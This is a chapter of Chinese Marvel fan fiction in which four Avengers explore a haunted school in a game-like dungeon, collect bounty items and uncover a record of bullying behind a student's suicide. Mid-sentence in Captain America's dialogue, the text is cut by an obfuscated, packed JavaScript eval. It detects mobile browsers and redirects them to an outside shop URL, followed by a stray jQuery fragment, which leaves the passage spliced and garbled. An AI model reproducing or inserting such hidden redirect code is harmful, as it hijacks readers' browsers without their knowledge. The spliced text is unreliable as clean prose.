柜台后面的黑山羊玩偶人没有移动。它在红光中保持着站立的姿态,面朝他们的方向,金色眼睛的光泽在红色光线的照射下呈现出深浅交替的层次。

    一行人安静地僵持着。

    托尼:懂什么叫顾客就是上帝吗?也不知道欢迎上帝,回头就投诉他。

    托尼走到柜台前面。他的视线越过柜台——柜台上空无一物,只有一层细灰。

    "怎么开始游玩?这里没看见入口。"

    他的话还没说完,脚下的地面就发生了变化。地面上覆盖的深色旧地毯在他的视野中逐渐变亮,正在被另一种颜色所取代。

    天花板的高度在视野中上升,墙壁的材质从木板变成白漆,光线从暗淡的红色变成了均匀的白色日光灯。

    周围的空气温度也变了,那种潮冷的气息逐渐被通风系统的气味取代——那种混合着清洁剂和旧纸页的气味,像是某个使用了多年的走廊中残留的气味。

    托尼抬起头,他面前不再是黑山羊玩偶人的柜台,而是一所学校的大门前。

    铁艺大门敞开着,两侧是砖砌的门柱,门柱上方镶着一块石牌,上面刻着学校名称。正前方是一条笔直的主路,通向一栋三层高的教学楼。

    小蜘蛛站在他旁边,正在看那栋教学楼的方向,美队站在他们左侧,正在观察主路两侧的细节。

    冬兵开口打破安静:"操场那边有东西。"

    ———

    在他们都走进去的那一刻,大门突然自己关上了。

    冬兵和小蜘蛛一起上手拉了一下,确认这扇门大概不是光靠蛮力就能解决的。

    美队和托尼凑在门上面突然出现的一行小字前。

    “真相即是最大的推手。”

    美国队长有些摸不着头脑:“什么意思?查清楚学校的真相就能离开了吗?”

    托尼摊了摊手:“谁知道呢?但看起来我们只能先调查这个所谓的‘真相’了。无论是通关的可能还是陷阱,我们目前也就只有这一个线索。”

    而且在调查的同时,他们还要收集小黑板上的悬赏。而有关鬼屋的悬赏,一共有三个。

    1. 吊在鬼屋二楼的塑料人偶手臂(报酬400)

    2. 高一四班讲桌上的人头(报酬400)

    3. 老师办公室抽屉里的文件(报酬300)

    原本他们没看明白第二项和第三项是什么意思,毕竟游乐园和学校看起来就不能兼容的样子,但看见鬼屋内部的场景,还有什么不明白的呢?

    小蜘蛛:真是恶趣味啊,不说都要忘了他们现在是在游乐园里了……竟然在游乐园里建学校吗?还是说学校就是和鬼屋一样可怕的东西。

    不过报酬确实不错,全收集完足够他们所有人四餐的量了。

    ———

    操场在教学楼的右侧,被一道低矮的铁丝网隔开。

    铁丝网有一处缺口,像是被人暴力拉开过。从缺口处能看到操场内部的情况——地面上,在操场中央靠近足球门框的位置,有几道深色的、人形的痕迹,画出了脑袋、躯干和四肢。

    地面上深色的痕迹从轮廓线边缘向外延伸,已经干了,像是被水浸泡后又晒干的质地。在操场边缘,拉着几条黄黑色的警戒带,每隔一段距离就有一根固定桩,警戒带表面没有被扯动的痕迹,仍然是拉直的状态。

    美队蹲下来,检视了一段警戒带的下边缘,确认它的颜色和材质在接触过地面一段时间后会留下痕迹,但这里没有。

    是刚刚围起来,还是诡异的力量?

    他的视线从警戒带边缘移开,然后站起来转向操场中央的方向,他的目光在那几道人形轮廓线上短暂地停留了一下,没有出声。

    托尼也看着操场的方向。他的声音不高,从操场边缘传来的风把他的尾音带远了一些:"下面压着的不是粉笔灰。"

    冬兵站在操场边缘,没有跨过铁丝网的缺口。

    那当然不是粉笔灰,那是用血作颜料画岀来的。

    深色的痕迹边缘在日光下呈现出不均匀的轮廓,像是被反复涂抹过,又像是被多次冲刷后残留下来的边缘。

    小蜘蛛站在铁丝网缺口处,从地面的痕迹上移开了视线。"这些痕迹和真相有关吗?"

    “大概率吧,”托尼凑近查看,“但是我们既没有法医,这里也没有尸体,甚至作案现场都没有——只有一堆画出来的,只有外轮廓的‘人’。”

    冬兵蹲在另一边:“这些人的姿势也看不出什么,像是死后被摆成这样描出来的。”

    研究无果,他们暂时放弃了这里。

    ———

    众人决定先前往教学楼调查。

    不说别的,教室和办公室一类的东西总不能在食堂或者住宿楼吧。

    他们穿过教学楼大门的时候,门厅的光线暗了一档。走廊里的日光灯管有几根已经不亮了,剩下的发出持续的嗡鸣,照亮了部分地面。

    墙上有一排旧布告栏,其中一张布告栏上贴着一张褪色的纸,字迹是手写的,边缘被撕掉了一半,但还能看出内容。

    "规则一:不要独自在走廊里停留。"

    "规则二:走廊里有人走动时不要回头。"

    "规则三:如果看到穿红色校服的人,这说明你看到了幻觉,不要理会,不要让ta发现你看得到ta!"

    "规则四:三楼的窗户已损坏,暂时封锁等待维修,请勿打开。"

    托尼打量着这些规则。

    有点诡异啊……而且有的还自相矛盾。

    规则一和规则二有联系吗?一个人在走廊就会遇鬼什么的?

    规则三明明说了穿红色校服的人是幻觉,但是又说不要让ta发现自己能看得到ta,说明这个“人”大概有自我意识,至少也是被人控制的。

    规则四相比下来既正常又不正常。光看文字,特意提到了请勿打开,那么应该就是能打开的。如果破损,那打不打开在状态上似乎也没有什么区别,反正都漏风。

    是“开窗”这个行为本身有问题吗?

    也有可能是破了个小洞,但三楼的窗户全部都破了个小洞吗?

    这和那所谓的真相有关系吗?

    思绪翻转间,小蜘蛛打断了他。

    彼得压低声音:"斯塔克先生,那个'不要回头'的规则……我好像听到了脚步声。我得说,不知道为什么,我总有一种回头的冲动。"

    托尼也感受到了这种冲动,但对他们来说还并不算严重。

    "不用回头也知道那不是我们的人……先离开吧,目前也没有解决的办法。"

    他们随便选个方向,继续往前走,脚步声在走廊里形成了规律的节奏。在他们离开走廊后,脚步声停了下来。

    ———

    高一四班在二楼。

    教室的门是半开着的。小蜘蛛推开门的时候,门轴发出了一声短促的摩擦声。然后他的视线僵住了——教室里面,每一个座位上都坐着一个木偶。

    它们穿着统一的深色衣服,头部是圆形的木制表面,上面绘制了五官,轮廓简单但生动形象。它们的形态各不相同,有的趴在桌上,有的侧着头,有的面向黑板的方向。

    不知道怎么画的,每一颗头长得都各有各的诡异。

    画了一堆眼睛的,画了一堆嘴的,画了一堆鼻子的……以及没有这些器官的版本。

    ……哦,天呐,它们看起来像是正在上课。

    “哦…”彼得开始有点后悔他要一个人来了。

    托尼和美队要去找线索,他想着自己顺路去拿个假头没什么吓人的,冬日战士就在隔壁教室拿那个 “吊在鬼屋二楼的塑料人偶手臂”,一出门他们就能碰面。

    ……目前确实没什么危险,大概吧,但他是真的有点担心这些人偶会突然活过来围攻他了。

    最重要的是,他的蜘蛛感应在疯狂地尖叫。

    尽管他觉得自己至少还是跑得掉的,不过光是看着这些东西,他就已经觉得自己的精神受到了攻击。

    “抱歉抱歉,我得说,你们其实长得还是挺好看的。”彼得一边小声碎碎念,一边避过这些人偶朝着讲台走去,“我不打扰你们上课,拿完东西马上就走——再见!”

    讲台上放着一个深色的物体——和之前他们在活动室小黑板上看到的那张图片相同:一颗塑料人头,面部朝上,底座贴合在桌面中央,表面已经褪色,但五官仍然能够被辨认出来。

    小蜘蛛快步走向讲台,拿起那个人头之后又快速搜查了一下,没发现其他有用的东西,于是乎马上退出了教室,临走前确认了一下木偶们没有在操作期间发生变化。

    木偶们在他身后眨了眨眼。

    离开教室后彼得长舒了一口气。

    “呼——”彼得提着塑料脑袋的头发——说实话这颗头长得血乎乎的有些瘆人——小声安慰自己,“哦,那句话怎么说的来着?‘吃一堑长一智。’以后我再也不会在副本里单独行动了。”

    有个队友的话受到的精神伤害会小得多吧。

    ———

    二楼走廊尽头挂着楼梯间的标识牌,两人正打算去查查这种犄角旮旯里面会不会有什么遗留的线索。

    在他们准备转向楼梯间的时候,走廊一侧突然出现了一扇门,门上写着"监控室·闲人免入"。

    托尼:?好像那种游戏里检测到玩家到来,自动弹出的线索。

    托尼侧过头看了那扇门一眼,试探的伸手拧了一下把手——门开了。

    房间很小。桌面上放着一台显示器,屏幕是暗的。墙角有一个铁皮柜,柜门是打开的,里面空无一物。桌面上有一份打印出来的纸张,上面是一段文字,似乎是某种告示的草稿:

    "经校方研究决定,自即日起严格执行以下规定:一、学生上下课须按指定路线行走,不得在非指定区域停留。二、所有学生必须在教室范围内使用囗囗。三、不得在午休时间进入天台区域。"

    纸张背面有一段手写的字,是被人附注上去的:"他去了天台,他们说他去了天台。"

    美队看完了那段话。"那个学生最后去了天台,操场上的东西会和他有关吗?"

    紧接着,他又摇了摇头,补充道:“但如果是从天台跳下去的话,落下的位置不应该在那里,而且纸条上只写了一个人。”

    没有看到其他的有用物品,他们退出了资料室。

    ———

    众人在走廊会合。

    小蜘蛛快速把手里的塑料脑袋塞给目前仍是大人的巴基,然后凑到了托尼身边。

    巴基一手提着脑袋一手拿着胳膊,二者颜色很相似。

    “斯塔克先生,你简直想不到我刚刚看到了什么——一屋子很诡异的木头人偶!等等,这么说来,只有这个脑袋是塑料的?”小蜘蛛突然注意到了这一点,“这和它受到悬赏有关系吗?还是说特意放进去的?”

    小蜘蛛的话让托尼陷入了沉思。

    不允许上天台,与其他木头人格格不入的塑料人偶,诡异的学校。

    看那个新发行的规定,似乎那张纸条里写的人已经……

    这很容易让人联想到一些自杀事件啊……霸凌?托尼摸了摸下巴。

    那个黑板上的悬赏到底是谁发布的?那些东西对于悬赏者有什么作用吗?操场上的那些东西是被霸凌者的报复吗?

    如果不是,那需要调查的真相到底是和那个人头有关,还是和那些诡异的痕迹有关?

    冬兵走在队伍后方。突然,他的视线在楼梯转角的墙壁上停了一下——那里刻着一行字,字迹很浅,像是用钥匙或其他尖锐硬物留下的:"三楼最右边的窗户能打开,但外面什么都没有。"

    巴基示意其他人来看,商议了一下,他们决定去三楼看看。

    三楼走廊比二楼更暗。

    灯管坏了一半,剩下的光在墙面上形成一段段断开的亮区。走廊尽头有一扇门,门上的标识牌写着"天台·非请勿入"。

    门是锁着的,锁是一种老旧的挂锁结构,锈蚀严重。

    托尼伸手拉了一下,挂锁发出短促的金属声响。他低头看了一眼锁的形状和接口类型,他的目光在锁孔和锁壳的连接处短暂地停留了一下。

    这个锁头被撬开过。

    一旁的美队研究了一下窗户,从外形上看并没有什么特别的,窗户上有一个把手,只能向外或者向内开。

    史蒂夫试探性的拧了一下,把手是坏掉的。

    ……原来是把手坏掉了吗。托尼注意到了队长的试探行为。

    此时两个道具又转移回了小蜘蛛手上,冬日战士正在试探那个被专门提到过的窗户(小蜘蛛身高不够。没错,缩水之后,史蒂夫比彼得高)。

    咔嗒一声,锁开了。冬日战士没有轻易打开,几人对视一眼,决定不冒这个风险试探规则了。

    第一是他们所需物品还没有拿完,不太好跑路。第二是可以通过其他途径获得的线索,还没有全部收集完,没有到一定要开窗的地步。

    谁知道开窗之后会不会突然蹦出来个红色校服的小鬼。

    ———

    教师办公室在三楼走廊的侧边,门是关着的,门缝里透出一点光——不是日光灯那种均匀的白光,更像是旧台灯发出的暖黄色光线。

    史蒂夫走到门边,侧耳听了一下——里面没有脚步声,也没有说话声。

    他轻轻推了一下门,一道’吱呀‘的声音过后,门被打开了。

    办公室内,靠墙是一排灰色金属文件柜,柜门紧闭;中央是一张深色木质办公桌,桌面上散落着旧试卷和文具;靠窗的位置有一张扶手椅,椅背对着门口,看不到有没有人坐在上面。

    托尼的视线在扶手椅的轮廓上停顿了一下——椅背上搭着一件旧外套,深色的,垂下来遮住了椅面的部分。

    他没有向前走去确认那个位置是否有人。

    感谢帕米尔之前的叮嘱,现在恰好遇到了。

    帕米尔的某次副本科普:如果室内很可能有怪,而且你知道它大概率在什么地方,但在进入的一瞬间它却没有反应,那就说明没有达成攻击条件。

    不要特意去确认,因为很多时候发现它就是条件之一。

    托尼转头向其他三人科普后,四个人开始蹑手蹑脚的寻找文件。

    虽然并没有提到需要寻找的文件的类型是什么,但在场的四个人基本都有了猜测。

    美队的声音从后面传过来:"我们需要找到的那份文件,大概

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17834794|211163||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    率是关于那个学生事件的。"

    托尼点了点头,那个塑料人头和胳膊很可能是一个人身上的,所以同样是需要他们收集的物品,文件大概率也关于那个人。

    如果必须要做出一个选择的话,那么众人会把这个人和那个曾经上过天台的,至关重要的学生联系起来。

    托尼进入办公室,打开第一个文件柜——空了一半,剩下的一半塞着旧教材和讲义,边缘已经卷曲。他没有翻动它们,转向了第二个柜子。第二个柜子里是一叠旧试卷,纸张已经泛黄。托尼把试卷快速翻了一遍——底下是一份用牛皮纸袋装着的文件,封面上没有字。

    他把它抽出来打开,低头翻了几页。

    这是一份校园霸凌的记录——持续了大约一学年,受害者是高一四班的一名学生,施暴者是同班同学。

    仅仅是因为他为了帮助上一名被霸凌的同学,收集到了足以让他们受到惩罚的证据,并想向他当时的老师揭发他们。

    很可惜,他被发现了。证据最后没能提交上去,老师也因为霸凌者的背景睁一只眼闭一只眼,最终导致了这场悲剧。

    他第一次自我毁灭是试图从三楼的窗台翻出去,他被拦下来了,那名老师受到了惩罚,但那些霸凌者没有。

    记录上有教师的手写备注:"已约谈家长"、"已通知班主任加强关注"、"学生情绪不稳定,建议心理辅导"——但没有下文。最后一页的日期比前一页晚了三天,手写字迹写着:"学生已申请休学,后续情况不明。"

    这是他需要的东西——关于那个学生事件的内部记录。

    猜测是对的,但没有人因为这件事而高兴。

    为了保险,他们还是翻找了其他所有的抽屉,并且把其他零零散散的,勉强可以称之为“文件”的纸张带走了。

    猜测是猜测,要带走的时候他们连那个“食堂改进报告”都没放过。

    ———

    他们返回一楼的时候,走廊两侧的教室门已经关上了。

    小蜘蛛的蜘蛛感应在他经过一扇窗户的时候产生了一次短暂的波动——他看到窗玻璃上有一道深色的影子正在移动。他侧过头——那道影子在玻璃表面留下了一瞬间的痕迹,形状像是一个人形的、低头的轮廓。

    小蜘蛛的声音压低到接近呼吸的程度:"刚才窗户上有个影子,位置偏暗,但像是在看我们。"

    托尼回头看了一眼——窗户上什么都没有。

    "你看到了什么?"

    小蜘蛛说:"一个人,站在窗边,低头的——不是木偶。"

    托尼没有追问,毕竟现在人已经消失了。

    他对于那个人影已经有了一些猜测。

    ("你怎么判断有没有隐藏支线?" )

    (“经验吧……一般来说人物或者场景比较复杂的,有受害者的副本就有隐藏支线。)

    (有一种副本是由人的怨气引来的,表现形式和通关条件也跟这些人的怨恨有关。比如说我之前经历过一个车祸副本,无辜司机的怨恨……一个看起来就不像什么好地方的地下决斗场……” )

    ——这是帕米尔曾在地下决斗场(第35章)那次副本中对他说的话。

    这场事件中,截止到那名学生纸面报告上的“休学”,或者说,实际上的死亡,受害者都只有一个。

    那名受害者,是鬼屋背后的主人,也是唯一一个可以自由的在整个副本里穿梭的人。

    他们经过布告栏的时候,走廊侧面的光线暗了一瞬。然后一颗眼球形状的东西出现在墙上——不是实物,只是一个投影。

    [你们找到真相了。]

    随着声音响起,眼球也在不断眨动。

    它的语气很笃定,但托尼表示疑惑。

    他对自己的推测很有信心,那个文件中写的绝对不是真相,至少不是全部的真相。

    它为什么这么说?

    还不等托尼出声,走廊两侧的教室门突然打开了,一扇一扇地向内滑动。

    教室内部是暗的,然后一些轮廓开始从暗处浮现出来。木头人偶正在从静止状态过渡到活动状态。

    第一个站起来的人偶朝门口走了两步,像是刚开机还没有适应过来,但很快就开始加速,身体前倾,四肢的移动幅度在加速过程中逐渐变大,步长在逐渐增加。

    越来越多的人偶涌出来。

    巴基转向那群人偶的方向,挡在了它们和出口之间。

    托尼已经转身站在队伍侧面,正在评估从走廊出口到主楼梯之间的路径,小蜘蛛的蛛丝已经射了出去,荡在人偶们的头顶,一脚一个。

    看来变小还是有好处的,小蜘蛛想,要是换成那个已经成年了的他,在这个狭小的走廊荡的肯定碍手碍脚。

    托尼在持续的推进中确认了出口位置之后,用掌心炮扫清了一段必经路径上持续逼近的物体,他的轨道持续时间精确,在清出一段距离后果断后撤,通过门缝退出了走廊,到了消防通道内。小蜘蛛紧随其后,在退出前向走廊方向补了一道蛛网。

    美队最后一个出来。他退到门框外侧,在身后的门被合拢之前,确认了那些人偶没有在门缝闭合前再次加速,然后他松开了手。

    门在他们身后合拢了。

    不等他们舒口气,那个该死的眼球又追上来了。

    [还不错。]它的语气中竟然带了一丝赞赏。

    托尼对此表示恶心。

    [你们可以离开了,我算你们通关。]

    “等等。”托尼叫住它,“那个文件里写的根本不是什么真相吧,而且还少了很多后续。”

    [……知道那么多有什么用呢?你们要的东西已经收集完了吧,别太执着于真相。]

    [真相即是最大的推手。]

    ta因真相而死,这群人因“真相”而活。

    没有必要把“真相”变成真相,那不是一段愉快的记忆,并不想重温。

    “你的出现有现实背景吧,是哪个世界的?”托尼靠在墙上,看着那颗眼球问,“不想报仇雪恨吗?你也知道你在这里杀死的只是你的幻想吧。”

    [……他们已经老死了…………送你一个消息吧,我是被“游乐园”抓来的小副本,悬赏是我发的。]

    说完后,眼球很快就消失了。

    他们的脚下出现了一个光圈,随着地点的转移,学校的出口出现在他们面前。

    这扇蜘蛛侠都拉不开的门如今像是被什么东西从外面拉开了一道缝,光线从缝隙里涌进来。

    “哦,真是个复杂的人。”小蜘蛛有点迟疑,“那些人偶不是他唤醒的吗?最后竟然这么痛快的就放我们出来了,还免费送了条消息。”

    “也许是被托尼感动到了吧。”胜利近在眼前,史蒂夫调侃了一下托尼。

    托尼没搭腔,他更倾向于ta也希望他们能把悬赏物带出去……而且这个副本竟然能套小副本!这可是从来没见过的情况。

    托尼第一个心思重重的穿过那扇门,之后是美队,小蜘蛛,最后是冬兵。

    小蜘蛛在穿过门缝的时候回头看了一眼——教学楼三楼的窗户上有一个人影的轮廓站在窗边,正对着他们的方向。他看了一瞬,然后穿过门缝,那扇门在他身后合拢了。